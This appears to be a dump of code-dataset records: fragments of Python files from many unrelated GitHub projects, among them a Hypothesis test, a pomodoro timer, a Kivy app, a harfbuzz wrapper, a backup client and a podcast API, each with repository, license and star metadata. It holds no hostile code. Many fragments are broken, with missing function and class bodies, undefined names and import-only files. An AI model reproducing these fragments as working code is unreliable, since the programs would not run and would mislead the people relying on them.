from subprocess import call from tempfile import NamedTemporaryFile from hypothesis import settings, note from hypothesis.stateful import RuleBasedStateMachine, rule from hypothesis.strategies import sampled_from def versions(): """ generates only minor versions available on Docker Hub """ # TODO: treat as s...
33.176471
93
0.696809
4154f5618899e57ee64e540445a53194c1b762ee
1,479
py
Python
synthea-hiv/uploader/uploader_test.py
GoogleCloudPlatform/openmrs-fhir-analytics
839a5c54e0c81d174522dcb9930b26bc49dfa748
[ "ECL-2.0", "Apache-2.0" ]
39
2020-08-07T18:10:21.000Z
2021-12-24T14:08:36.000Z
synthea-hiv/uploader/uploader_test.py
mozzy11/openmrs-fhir-analytics
796c75f3cc94cfad08e6e4a42d670830e9302d17
[ "Apache-2.0" ]
205
2020-08-20T05:25:29.000Z
2022-02-04T19:20:44.000Z
synthea-hiv/uploader/uploader_test.py
mozzy11/openmrs-fhir-analytics
796c75f3cc94cfad08e6e4a42d670830e9302d17
[ "Apache-2.0" ]
32
2020-08-13T19:14:50.000Z
2022-03-25T04:45:39.000Z
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
35.214286
74
0.76403
4155116ee8c8f0032b20650c9fd29fb3f6faf25b
7,033
py
Python
stargazing/pomodoro/pomodoro_controller.py
mtu2/stargazing
8c32728d64e8a7273299ab9d88e814d7a7bb47f2
[ "MIT" ]
null
null
null
stargazing/pomodoro/pomodoro_controller.py
mtu2/stargazing
8c32728d64e8a7273299ab9d88e814d7a7bb47f2
[ "MIT" ]
null
null
null
stargazing/pomodoro/pomodoro_controller.py
mtu2/stargazing
8c32728d64e8a7273299ab9d88e814d7a7bb47f2
[ "MIT" ]
null
null
null
from __future__ import annotations from enum import Enum from typing import List import os.path as path import stargazing.data.database as database import stargazing.audio.audio_controller as audio_ac import stargazing.audio.audio_player as audio_ap import stargazing.pomodoro.timer as pomo_t import stargazing.project....
39.072222
113
0.681928
41567d586e7fa12a33d4c69f999c3c3a2e0316df
1,324
py
Python
main.py
anandnet/Virtual-Music
d13e6fa83d92816064cad4cce61c7c499d54e921
[ "MIT" ]
1
2021-02-20T05:56:49.000Z
2021-02-20T05:56:49.000Z
main.py
anandnet/Virtual-Music
d13e6fa83d92816064cad4cce61c7c499d54e921
[ "MIT" ]
null
null
null
main.py
anandnet/Virtual-Music
d13e6fa83d92816064cad4cce61c7c499d54e921
[ "MIT" ]
1
2021-02-18T05:59:59.000Z
2021-02-18T05:59:59.000Z
from logging import root from os import name from kivy.animation import Animation from kivy.clock import Clock from kivy.lang import Builder from widgets.loader import Loader from kivy.uix.behaviors import button from kivy.uix.boxlayout import BoxLayout from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.image...
25.960784
56
0.701662
4156d6278870fbb774b81e7ffbdf14d0c4744d9b
2,490
py
Python
tf_encrypted/keras/layers/layers_utils.py
wqruan/tf-encrypted
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
[ "Apache-2.0" ]
825
2019-04-18T09:21:32.000Z
2022-03-30T05:55:26.000Z
tf_encrypted/keras/layers/layers_utils.py
wqruan/tf-encrypted
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
[ "Apache-2.0" ]
354
2019-04-18T08:42:40.000Z
2022-03-31T18:06:31.000Z
tf_encrypted/keras/layers/layers_utils.py
wqruan/tf-encrypted
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
[ "Apache-2.0" ]
161
2019-05-02T16:43:31.000Z
2022-03-31T01:35:03.000Z
"""TF Encrypted Keras layers utils""" import inspect import tensorflow as tf def default_args_check(arg, arg_name, tf_layer_name): """Check if the layer is using the dfault argument Args: arg: TFE layer argument arg_name: TFE layer argument name (string) tf_layer_name: Tensorflow keras l...
32.337662
82
0.675904
4158338da63ba358220ee7b0c0e8ce7b54fd01ff
5,850
py
Python
vharfbuzz.py
KazunariTsuboi/font-engineering
2b80182d9cdfebf9853c01295ab13046f2ccb5a1
[ "Apache-2.0" ]
null
null
null
vharfbuzz.py
KazunariTsuboi/font-engineering
2b80182d9cdfebf9853c01295ab13046f2ccb5a1
[ "Apache-2.0" ]
null
null
null
vharfbuzz.py
KazunariTsuboi/font-engineering
2b80182d9cdfebf9853c01295ab13046f2ccb5a1
[ "Apache-2.0" ]
null
null
null
"""A user-friendlier way to use Harfbuzz in Python.""" import uharfbuzz as hb from fontTools.ttLib import TTFont import re # v = Vharfbuzz("/Users/simon/Library/Fonts/SourceSansPro-Regular.otf") # buf = v.shape("ABCj") # svg = v.buf_to_svg(buf) # import cairosvg # cairosvg.svg2png(bytestring=svg, write_to="foo.png"...
34.411765
88
0.558462
415b5b68914faf3e3638db9ddfedb6c109eb3f7e
9,973
py
Python
habitat_baselines/config/default.py
rpartsey/habitat-pointnav-aux
03a24ddca8ab257f64092c70d4f2ff6805287b40
[ "MIT", "Unlicense" ]
15
2020-07-10T15:43:02.000Z
2022-03-09T03:11:30.000Z
habitat_baselines/config/default.py
rpartsey/habitat-pointnav-aux
03a24ddca8ab257f64092c70d4f2ff6805287b40
[ "MIT", "Unlicense" ]
2
2020-09-09T19:09:19.000Z
2020-10-21T16:30:23.000Z
habitat_baselines/config/default.py
rpartsey/habitat-pointnav-aux
03a24ddca8ab257f64092c70d4f2ff6805287b40
[ "MIT", "Unlicense" ]
1
2021-02-05T14:50:30.000Z
2021-02-05T14:50:30.000Z
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import List, Optional, Union import numpy as np from habitat import get_config as get_task_config from hab...
36.531136
108
0.684348
415c300c1fc04be956dd24ffadcfc44181fd9b54
10,681
py
Python
backup_client.py
evermind/restic-backupclient
347fd6bfae0f967adac1b65775245f6e87a8c554
[ "MIT" ]
null
null
null
backup_client.py
evermind/restic-backupclient
347fd6bfae0f967adac1b65775245f6e87a8c554
[ "MIT" ]
null
null
null
backup_client.py
evermind/restic-backupclient
347fd6bfae0f967adac1b65775245f6e87a8c554
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from os import environ import logging as log import argparse from crontab import CronTab from datetime import datetime,timedelta import time import subprocess import os.path import re import yaml import shutil import elasticdump import mysqldump import pgdump import mongodump import influxdump ...
28.712366
155
0.735137
415db15c97efdf73489f6ae6ea62535109579cca
3,883
py
Python
lib/ezdxf/__init__.py
tapnair/DXFer
8ec957d80c2f251bb78440147d1478106f99b3eb
[ "MIT" ]
4
2019-03-31T00:41:13.000Z
2021-07-31T05:09:07.000Z
lib/ezdxf/__init__.py
tapnair/DXFer
8ec957d80c2f251bb78440147d1478106f99b3eb
[ "MIT" ]
null
null
null
lib/ezdxf/__init__.py
tapnair/DXFer
8ec957d80c2f251bb78440147d1478106f99b3eb
[ "MIT" ]
5
2018-03-29T06:28:07.000Z
2021-07-31T05:09:08.000Z
# Purpose: ezdxf package # Created: 10.03.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT License from __future__ import unicode_literals version = (0, 8, 2) # also update VERSION in setup.py VERSION = "%d.%d.%d" % version __version__ = VERSION __author__ = "mozman <mozman@gmx.at>" import sys if sys.version...
35.3
112
0.701262
415dfc81e1ad703ea86b474b35a040d48a33ce28
646
py
Python
books/masteringPython/cp11/cp11_manual_trace.py
Bingwen-Hu/hackaway
69727d76fd652390d9660e9ea4354ba5cc76dd5c
[ "BSD-2-Clause" ]
null
null
null
books/masteringPython/cp11/cp11_manual_trace.py
Bingwen-Hu/hackaway
69727d76fd652390d9660e9ea4354ba5cc76dd5c
[ "BSD-2-Clause" ]
null
null
null
books/masteringPython/cp11/cp11_manual_trace.py
Bingwen-Hu/hackaway
69727d76fd652390d9660e9ea4354ba5cc76dd5c
[ "BSD-2-Clause" ]
null
null
null
# manual trace import sys import trace as trace_module import contextlib with trace(): generator = spam_generator() print(next(generator)) print(next(generator)) generator = eggs_generator() print(next(generator))
19.575758
55
0.750774
415fd9ca7dc3dd7e0ad28f54f3222836570e36ec
229
py
Python
helpers/version.py
Dabalon/blues_bot.py
b153f65054ce973e16c5fd1e2061ce1fe50145d1
[ "MIT" ]
5
2020-01-05T18:53:20.000Z
2022-03-19T13:01:24.000Z
helpers/version.py
Dabalon/blues_bot.py
b153f65054ce973e16c5fd1e2061ce1fe50145d1
[ "MIT" ]
22
2019-10-27T00:56:30.000Z
2021-07-13T16:42:24.000Z
helpers/version.py
Dabalon/blues_bot.py
b153f65054ce973e16c5fd1e2061ce1fe50145d1
[ "MIT" ]
11
2020-01-05T18:53:22.000Z
2022-03-30T22:20:13.000Z
# Version command helper def get_version(): """ Opens version file and returns it as a string """ file = open("assets/version", "r") ret = '' for line in file: ret += line file.close() return ret
20.818182
57
0.585153
416352a765ad965b8902ff0ad42dd03f68d57af2
3,542
py
Python
code/tfidf.py
yekang/ccf_sougou
1c65cd78407f14646bbf52140051fc5f239c31d3
[ "MIT" ]
null
null
null
code/tfidf.py
yekang/ccf_sougou
1c65cd78407f14646bbf52140051fc5f239c31d3
[ "MIT" ]
null
null
null
code/tfidf.py
yekang/ccf_sougou
1c65cd78407f14646bbf52140051fc5f239c31d3
[ "MIT" ]
null
null
null
from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.feature_extraction.text import TfidfVectorizer,CountVectorizer from sklearn.externals import joblib as jl import data_preprocess
49.887324
88
0.732919
4165009c85e483f589a199ebd8b12e333a80178e
1,168
py
Python
yqml/select.py
maztohir/YQML
6e5eb06f2869a7309614120cc56ac04f5a689c9f
[ "MIT" ]
2
2021-03-11T16:44:02.000Z
2021-04-17T17:57:38.000Z
yqml/select.py
maztohir/yqml
6e5eb06f2869a7309614120cc56ac04f5a689c9f
[ "MIT" ]
null
null
null
yqml/select.py
maztohir/yqml
6e5eb06f2869a7309614120cc56ac04f5a689c9f
[ "MIT" ]
null
null
null
from yqml.keys import Keys from .where import Where from .join import Join, RightJoin, LeftJoin from .fields import Fields
26.545455
152
0.668664
4165053f103fa07c4e3af8d74e151dd12dc1f794
904
py
Python
manu_sawyer/src/GelSightA.py
robertocalandra/the-feeling-of-success
7bb895897e369ae9f5fcaeed61d401e019a9cdf1
[ "MIT" ]
10
2018-05-31T04:57:25.000Z
2021-05-28T11:22:29.000Z
manu_sawyer/src/GelSightA.py
robertocalandra/the-feeling-of-success
7bb895897e369ae9f5fcaeed61d401e019a9cdf1
[ "MIT" ]
null
null
null
manu_sawyer/src/GelSightA.py
robertocalandra/the-feeling-of-success
7bb895897e369ae9f5fcaeed61d401e019a9cdf1
[ "MIT" ]
3
2018-05-31T05:00:08.000Z
2019-02-25T06:32:45.000Z
#!/usr/bin/env python import rospy from cv_bridge import CvBridge, CvBridgeError from sensor_msgs.msg import Image import multiprocessing
26.588235
100
0.67146
4165c6d113e9bcb67cd9c5283014beedef28535b
2,142
py
Python
ingest/common/python/package/streamsx_health/test/TestObservation.py
markheger/streamsx.health
14c27e377aa5947e76b0b681c1d8f5350a56323c
[ "Apache-2.0" ]
45
2016-06-23T21:47:52.000Z
2021-09-06T02:44:51.000Z
ingest/common/python/package/streamsx_health/test/TestObservation.py
markheger/streamsx.health
14c27e377aa5947e76b0b681c1d8f5350a56323c
[ "Apache-2.0" ]
107
2016-06-23T21:49:16.000Z
2020-07-10T13:01:28.000Z
ingest/common/python/package/streamsx_health/test/TestObservation.py
markheger/streamsx.health
14c27e377aa5947e76b0b681c1d8f5350a56323c
[ "Apache-2.0" ]
48
2016-12-01T23:05:38.000Z
2021-12-14T17:11:56.000Z
#**************************************************************************** # Copyright (C) 2017 International Business Machines Corporation # All Rights Reserved # **************************************************************************** import unittest import json from streamsx_health.ingest.Observation import ...
34.548387
315
0.625117
416700a551016e3c3062ddbef52da0802e586ce3
1,849
py
Python
podcastapi.py
rexxars/kodi-vg-podcasts
f5151b78717533e97a3d70439946654228adca70
[ "MIT" ]
null
null
null
podcastapi.py
rexxars/kodi-vg-podcasts
f5151b78717533e97a3d70439946654228adca70
[ "MIT" ]
null
null
null
podcastapi.py
rexxars/kodi-vg-podcasts
f5151b78717533e97a3d70439946654228adca70
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright (C) 2015-2016 Espen Hovlandsdal from requests import Session API_URL = 'http://api.vg.no/podcast'; session = Session() session.headers['User-Agent'] = 'kodi-vg-podcasts' session.headers['Accept'] = 'application/json' def shows(): return [Show.from_response(item) for item in...
22.277108
69
0.559221
4168384f50e5cc2f231cecb8b748342434bfed92
554
py
Python
LOGGING/logger.py
Couso99/EEG-Environment
d67de00c08c5892baebe5bf993cac0a5db6e70b1
[ "MIT" ]
null
null
null
LOGGING/logger.py
Couso99/EEG-Environment
d67de00c08c5892baebe5bf993cac0a5db6e70b1
[ "MIT" ]
null
null
null
LOGGING/logger.py
Couso99/EEG-Environment
d67de00c08c5892baebe5bf993cac0a5db6e70b1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ @author: %(Mikel Val Calvo)s @email: %(mikel1982mail@gmail.com) @institution: %(Dpto. de Inteligencia Artificial, Universidad Nacional de Educacin a Distancia (UNED)) @DOI: 10.5281/zenodo.3759306 """
29.157895
103
0.666065
416ad546e81165ecbce7d3668b0084d159819a2c
442
py
Python
src/year2020/day05b.py
lancelote/advent_of_code
06dda6ca034bc1e86addee7798bb9b2a34ff565b
[ "Unlicense" ]
10
2017-12-11T17:54:52.000Z
2021-12-09T20:16:30.000Z
src/year2020/day05b.py
lancelote/advent_of_code
06dda6ca034bc1e86addee7798bb9b2a34ff565b
[ "Unlicense" ]
260
2015-12-09T11:03:03.000Z
2021-12-12T14:32:23.000Z
src/year2020/day05b.py
lancelote/advent_of_code
06dda6ca034bc1e86addee7798bb9b2a34ff565b
[ "Unlicense" ]
null
null
null
"""2020 - Day 5 Part 2: Binary Boarding.""" from src.year2020.day05a import process_data def solve(task: str) -> int: """Find an empty seat.""" seats = process_data(task) first = min(seats).pk last = max(seats).pk ideal = set(range(first, last)) real = set(seat.pk for seat in seats) diffe...
26
61
0.658371
416ba491b8205e861203d98c397a2176ef1e5e99
6,451
py
Python
app/src/original.py
chrisjim316/Amazon-Alexa-Hack
8180520b3feb9ef8dc55aa69119b21436ee109d6
[ "MIT" ]
null
null
null
app/src/original.py
chrisjim316/Amazon-Alexa-Hack
8180520b3feb9ef8dc55aa69119b21436ee109d6
[ "MIT" ]
null
null
null
app/src/original.py
chrisjim316/Amazon-Alexa-Hack
8180520b3feb9ef8dc55aa69119b21436ee109d6
[ "MIT" ]
null
null
null
from __future__ import print_function import json import urllib2 # properties needed to interact with the api apiToken = //intentionally obfuscated seToken = //intentionally obfuscated baseUrl = 'https://www.secretescapes.com/v3' numberOfRooms = 1 APP_ID = "amzn1.ask.skill.258c1e36-afd4-4d5b-8f50-fbab4ed83475" def o...
31.622549
118
0.637421
416ecd1bf60b2f5dfac4a13faf4ce1dc4d266fd7
603
py
Python
ebl/tests/transliteration/test_atf.py
ElectronicBabylonianLiterature/dictionary
5977a57314cf57f94f75cd12520f178b1d6a6555
[ "MIT" ]
4
2020-04-12T14:24:51.000Z
2020-10-15T15:48:15.000Z
ebl/tests/transliteration/test_atf.py
ElectronicBabylonianLiterature/dictionary
5977a57314cf57f94f75cd12520f178b1d6a6555
[ "MIT" ]
200
2019-12-04T09:53:20.000Z
2022-03-30T20:11:31.000Z
ebl/tests/transliteration/test_atf.py
ElectronicBabylonianLiterature/dictionary
5977a57314cf57f94f75cd12520f178b1d6a6555
[ "MIT" ]
1
2021-09-06T16:22:39.000Z
2021-09-06T16:22:39.000Z
import pytest from ebl.transliteration.domain.atf import to_sub_index, sub_index_to_int SUB_INDICES = [ (None, ""), (1, ""), (2, ""), (3, ""), (4, ""), (5, ""), (6, ""), (7, ""), (8, ""), (9, ""), (0, ""), (1024, ""), ]
20.793103
73
0.60199
416fc4132f82c94ae93a71e4d7f00ce6d134cda7
764
py
Python
youtube/forms.py
shravs-cell/video
0bc56062f8200049c85dd35eb0e07447289bc902
[ "MIT" ]
null
null
null
youtube/forms.py
shravs-cell/video
0bc56062f8200049c85dd35eb0e07447289bc902
[ "MIT" ]
null
null
null
youtube/forms.py
shravs-cell/video
0bc56062f8200049c85dd35eb0e07447289bc902
[ "MIT" ]
null
null
null
from django import forms
36.380952
71
0.732984
416fdbf082852439f1fed8fca80d233764759242
1,381
py
Python
regcore/migrations/0015_auto_20210429_1708.py
cgodwin1/regulations-core
1afad359f33655946d93da069bf58bb12ec4805e
[ "CC0-1.0" ]
1
2021-04-14T06:08:10.000Z
2021-04-14T06:08:10.000Z
regcore/migrations/0015_auto_20210429_1708.py
cgodwin1/regulations-core
1afad359f33655946d93da069bf58bb12ec4805e
[ "CC0-1.0" ]
2
2021-02-16T18:23:56.000Z
2021-04-26T14:27:17.000Z
regcore/migrations/0015_auto_20210429_1708.py
cgodwin1/regulations-core
1afad359f33655946d93da069bf58bb12ec4805e
[ "CC0-1.0" ]
2
2020-12-07T16:46:30.000Z
2021-02-23T14:28:35.000Z
# Generated by Django 3.2 on 2021-04-29 17:08 from django.db import migrations, models
31.386364
114
0.534395
4170081c348b25a347acdd29605bf96b4bb56f60
59
py
Python
testing/resources/test_pvector_in_imported_module.py
timgates42/processing.py
78a237922c2a928b83f4ad579dbf8d32c0099890
[ "Apache-2.0" ]
1,224
2015-01-01T22:09:23.000Z
2022-03-29T19:43:56.000Z
testing/resources/test_pvector_in_imported_module.py
timgates42/processing.py
78a237922c2a928b83f4ad579dbf8d32c0099890
[ "Apache-2.0" ]
253
2015-01-14T03:45:51.000Z
2022-02-08T01:18:19.000Z
testing/resources/test_pvector_in_imported_module.py
timgates42/processing.py
78a237922c2a928b83f4ad579dbf8d32c0099890
[ "Apache-2.0" ]
225
2015-01-13T18:38:33.000Z
2022-03-30T20:27:39.000Z
import imported_module_with_pvector as m m.sayok() exit()
11.8
40
0.79661
41716acd74ef124d89f5dce40e0eba84b378df21
43,180
py
Python
src/pylogit/mixed_logit.py
mathijsvdv/pylogit
2e7a06907d11b6fe02d3f3f9df91d374ed8a0c6d
[ "BSD-3-Clause" ]
153
2016-03-22T05:52:41.000Z
2022-02-09T13:33:20.000Z
src/pylogit/mixed_logit.py
mathijsvdv/pylogit
2e7a06907d11b6fe02d3f3f9df91d374ed8a0c6d
[ "BSD-3-Clause" ]
63
2016-03-22T05:47:56.000Z
2021-12-23T12:01:29.000Z
src/pylogit/mixed_logit.py
mathijsvdv/pylogit
2e7a06907d11b6fe02d3f3f9df91d374ed8a0c6d
[ "BSD-3-Clause" ]
91
2016-05-27T06:04:38.000Z
2022-03-13T20:00:15.000Z
# -*- coding: utf-8 -*- """ Created on Mon Jul 18 18:15:50 2016 @name: Mixed MultiNomial Logit @author: Timothy Brathwaite @summary: Contains functions necessary for estimating mixed multinomial logit models (with the help of the "base_multinomial_cm.py" file). Version 1 only works fo...
44.979167
79
0.612297
4174d02ae022627c9a3fdf728ab8801e521bd891
7,836
py
Python
node/blockchain/tests/test_models/test_signed_change_request/test_node_declaration.py
thenewboston-developers/Node
e71a405f4867786a54dd17ddd97595dd3a630018
[ "MIT" ]
18
2021-11-30T04:02:13.000Z
2022-03-24T12:33:57.000Z
node/blockchain/tests/test_models/test_signed_change_request/test_node_declaration.py
thenewboston-developers/Node
e71a405f4867786a54dd17ddd97595dd3a630018
[ "MIT" ]
1
2022-02-04T17:07:38.000Z
2022-02-04T17:07:38.000Z
node/blockchain/tests/test_models/test_signed_change_request/test_node_declaration.py
thenewboston-developers/Node
e71a405f4867786a54dd17ddd97595dd3a630018
[ "MIT" ]
5
2022-01-31T05:28:13.000Z
2022-03-08T17:25:31.000Z
import json import re import pytest from pydantic import ValidationError from node.blockchain.inner_models import ( NodeDeclarationSignedChangeRequest, NodeDeclarationSignedChangeRequestMessage, SignedChangeRequest ) from node.blockchain.mixins.crypto import HashableStringWrapper from node.blockchain.tests.test_m...
44.777143
119
0.727667
417535dcc542f83c434ea5ed0d71b62a8ea4e3dc
1,552
py
Python
playerdo/backends/socket.py
spookylukey/playerdo
d020ae43ddee1d77382c20a66b647489f366a9e9
[ "BSD-2-Clause" ]
5
2020-09-21T13:42:24.000Z
2021-02-03T17:12:33.000Z
playerdo/backends/socket.py
spookylukey/playerdo
d020ae43ddee1d77382c20a66b647489f366a9e9
[ "BSD-2-Clause" ]
1
2020-01-13T12:31:07.000Z
2020-01-13T12:34:21.000Z
playerdo/backends/socket.py
spookylukey/playerdo
d020ae43ddee1d77382c20a66b647489f366a9e9
[ "BSD-2-Clause" ]
null
null
null
from __future__ import absolute_import import socket
27.22807
66
0.657861
41754b7be3194cb3183aea7d9f558b7b18c2dc8f
1,742
py
Python
CodeComb_Core/config_shell.py
amartyaamp/CodeComb
33fd50b91edd60dd08b1f4decc35e2fcf5f1a78d
[ "MIT" ]
1
2019-09-06T07:14:57.000Z
2019-09-06T07:14:57.000Z
CodeComb_Core/config_shell.py
amartyaamp/CodeComb
33fd50b91edd60dd08b1f4decc35e2fcf5f1a78d
[ "MIT" ]
12
2019-09-10T04:07:51.000Z
2019-12-13T03:04:49.000Z
CodeComb_Core/config_shell.py
amartyaamp/CodeComb
33fd50b91edd60dd08b1f4decc35e2fcf5f1a78d
[ "MIT" ]
1
2019-09-11T04:12:03.000Z
2019-09-11T04:12:03.000Z
import os from pyfiglet import figlet_format import cutie import configparser ## Either colorama or termcolor try: import colorama colorama.init() except ImportError: colorama = None try: from termcolor import colored except ImportError: colored = None ## Set the format config ## Set the Editor ...
23.226667
82
0.702641
41757415060bd40b7bf8385c7ab3e828141ce2df
637
py
Python
Candlestick-mpl_finance.py
anablima/Python-Studies
958e181a7b9ce0569259f67f2d87d78b90cb5aa1
[ "MIT" ]
null
null
null
Candlestick-mpl_finance.py
anablima/Python-Studies
958e181a7b9ce0569259f67f2d87d78b90cb5aa1
[ "MIT" ]
null
null
null
Candlestick-mpl_finance.py
anablima/Python-Studies
958e181a7b9ce0569259f67f2d87d78b90cb5aa1
[ "MIT" ]
null
null
null
import matplotlib.pyplot as fig import datetime as dt import mpl_finance as mpf import matplotlib.dates as mdates import pandas_datareader.data as web inicio=dt.datetime(2019,1,1) fim=dt.datetime(2022,2,2) df=web.DataReader('MGLU3.SA','yahoo',inicio,fim) df['med_mov']=df['Close'].rolling(window=20,min_periods=0).mean...
30.333333
65
0.758242
4177179531f58a2be53761395add53901bd1e218
1,901
py
Python
components/eastereggs.py
n8wachT/BotListBot
457160498a90c8d0a63d5a9f7400227e35431b6d
[ "MIT" ]
null
null
null
components/eastereggs.py
n8wachT/BotListBot
457160498a90c8d0a63d5a9f7400227e35431b6d
[ "MIT" ]
null
null
null
components/eastereggs.py
n8wachT/BotListBot
457160498a90c8d0a63d5a9f7400227e35431b6d
[ "MIT" ]
null
null
null
import random from pprint import pprint from peewee import fn from model import Bot from telegram import ReplyKeyboardMarkup import util from telegram import KeyboardButton import captions from model import track_activity
34.563636
127
0.652288
4177f78e0fda7c1ab99934917f15b1e0a6282a28
16,492
py
Python
heat/tests/api/openstack_v1/test_routes.py
whitepages/heat
4da2e1262fa42e6107389ba7a0e72ade024e316f
[ "Apache-2.0" ]
null
null
null
heat/tests/api/openstack_v1/test_routes.py
whitepages/heat
4da2e1262fa42e6107389ba7a0e72ade024e316f
[ "Apache-2.0" ]
null
null
null
heat/tests/api/openstack_v1/test_routes.py
whitepages/heat
4da2e1262fa42e6107389ba7a0e72ade024e316f
[ "Apache-2.0" ]
1
2021-03-21T11:37:03.000Z
2021-03-21T11:37:03.000Z
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # ...
28.288165
79
0.431057
417897748e026f4f02ed88c0117e7837109fc500
185
py
Python
test_django/hello/urls.py
YEZHIAN1996/pythonstudy
a8774ef97266e8ab0289484ef190d2ee55f1d37c
[ "Apache-2.0" ]
1
2022-02-22T01:54:56.000Z
2022-02-22T01:54:56.000Z
test_django/hello/urls.py
YEZHIAN1996/pythonstudy
a8774ef97266e8ab0289484ef190d2ee55f1d37c
[ "Apache-2.0" ]
null
null
null
test_django/hello/urls.py
YEZHIAN1996/pythonstudy
a8774ef97266e8ab0289484ef190d2ee55f1d37c
[ "Apache-2.0" ]
null
null
null
from django.urls import path from hello.views import is_odd, http_req urlpatterns = [ path('<int:num>/', is_odd, name='is_odd'), path('http/req/', http_req, name='http_req') ]
23.125
48
0.681081
417d85f2f2634da06e6ff80737c0f455994abeac
5,398
py
Python
sets/generator/nopattern/remote.py
ignacio-gallego/tbcnn_skill_pill
66c3939e2944160c864b61495ac4c7aaa56acd18
[ "MIT" ]
null
null
null
sets/generator/nopattern/remote.py
ignacio-gallego/tbcnn_skill_pill
66c3939e2944160c864b61495ac4c7aaa56acd18
[ "MIT" ]
null
null
null
sets/generator/nopattern/remote.py
ignacio-gallego/tbcnn_skill_pill
66c3939e2944160c864b61495ac4c7aaa56acd18
[ "MIT" ]
null
null
null
from pandas import DataFrame as PandasDataFrame from optimus.engines.base.basedataframe import BaseDataFrame
30.156425
115
0.567803
417e3d6a00fec073fc8e5b110ada2e2d5309582c
1,919
py
Python
app/util/ML/dataset.py
SoftwareEngineerUB/SmartEnergy
8893728eaf989a3b8bd2c1b3a8a1a5e6c4ce9c10
[ "Apache-2.0" ]
null
null
null
app/util/ML/dataset.py
SoftwareEngineerUB/SmartEnergy
8893728eaf989a3b8bd2c1b3a8a1a5e6c4ce9c10
[ "Apache-2.0" ]
null
null
null
app/util/ML/dataset.py
SoftwareEngineerUB/SmartEnergy
8893728eaf989a3b8bd2c1b3a8a1a5e6c4ce9c10
[ "Apache-2.0" ]
null
null
null
import torch as T import numpy as np from app.util.ML.constants import * DEVICE = T.device("cpu") GPU_ENABLED = False
31.983333
112
0.625847
417ee4d8de3b41665d6dba7dbc8fa1ba85341638
1,903
py
Python
resource/v2.py
NuenoB/TheTeleop
57e3f745d391743fac408fb44bf20ffad945aa19
[ "BSD-3-Clause" ]
null
null
null
resource/v2.py
NuenoB/TheTeleop
57e3f745d391743fac408fb44bf20ffad945aa19
[ "BSD-3-Clause" ]
null
null
null
resource/v2.py
NuenoB/TheTeleop
57e3f745d391743fac408fb44bf20ffad945aa19
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'AddBag.ui' # # Created: Mon Nov 30 10:24:59 2015 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except Attribu...
36.596154
79
0.687861
417fc0767f9f3045bfabe98057d3d6ae8df77d25
59,087
py
Python
src/rgt/viz/Main.py
mguo123/pan_omics
e1cacd543635b398fb08c0b31d08fa6b7c389658
[ "MIT" ]
null
null
null
src/rgt/viz/Main.py
mguo123/pan_omics
e1cacd543635b398fb08c0b31d08fa6b7c389658
[ "MIT" ]
null
null
null
src/rgt/viz/Main.py
mguo123/pan_omics
e1cacd543635b398fb08c0b31d08fa6b7c389658
[ "MIT" ]
null
null
null
# Python Libraries from __future__ import division from __future__ import print_function import os import sys import time import getpass import argparse import datetime import matplotlib matplotlib.use('Agg', warn=False) from .boxplot import Boxplot from .lineplot import Lineplot from .jaccard_test import Jaccard fr...
66.764972
263
0.581803
417ffbd4ba1e57bb20138f983895a6ec4d8a43b6
324
py
Python
server/quiz/urls.py
namanwfhsolve/Quiz-API
dcac94da3fb6ae514bbb4feb1abeb595903ce9aa
[ "MIT" ]
null
null
null
server/quiz/urls.py
namanwfhsolve/Quiz-API
dcac94da3fb6ae514bbb4feb1abeb595903ce9aa
[ "MIT" ]
1
2021-07-11T18:37:34.000Z
2021-07-11T18:37:34.000Z
server/quiz/urls.py
namanwfhsolve/Quiz-API
dcac94da3fb6ae514bbb4feb1abeb595903ce9aa
[ "MIT" ]
null
null
null
from django.urls import path from .views import QuizView, QuizDetailView, QuizCreateView urlpatterns = [ path("quizes/", QuizView.as_view(), name="quiz_list_create"), path("create/", QuizCreateView.as_view(), name="quiz_create"), path("quiz/<int:pk>/", QuizDetailView.as_view(), name="quiz_retrive_update")...
32.4
81
0.722222
41801ea050275d49201c9b87f491278b3faaa4f9
23
py
Python
mGdi32/__init__.py
SkyLined/mWindowsSDK
931cc9d30316893662a3dc4e200dabe97122d216
[ "CC-BY-4.0" ]
2
2019-08-01T15:08:25.000Z
2021-01-30T07:29:34.000Z
mGdi32/__init__.py
SkyLined/mWindowsSDK
931cc9d30316893662a3dc4e200dabe97122d216
[ "CC-BY-4.0" ]
null
null
null
mGdi32/__init__.py
SkyLined/mWindowsSDK
931cc9d30316893662a3dc4e200dabe97122d216
[ "CC-BY-4.0" ]
null
null
null
from .mGdi32 import *;
11.5
22
0.695652
418053ee5e7fc1cc778869d9ebfee56bc7e30f8e
190
py
Python
built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/attentions/__init__.py
Huawei-Ascend/modelzoo
df51ed9c1d6dbde1deef63f2a037a369f8554406
[ "Apache-2.0" ]
null
null
null
built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/attentions/__init__.py
Huawei-Ascend/modelzoo
df51ed9c1d6dbde1deef63f2a037a369f8554406
[ "Apache-2.0" ]
3
2021-03-31T20:15:40.000Z
2022-02-09T23:50:46.000Z
built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/attentions/__init__.py
Huawei-Ascend/modelzoo
df51ed9c1d6dbde1deef63f2a037a369f8554406
[ "Apache-2.0" ]
null
null
null
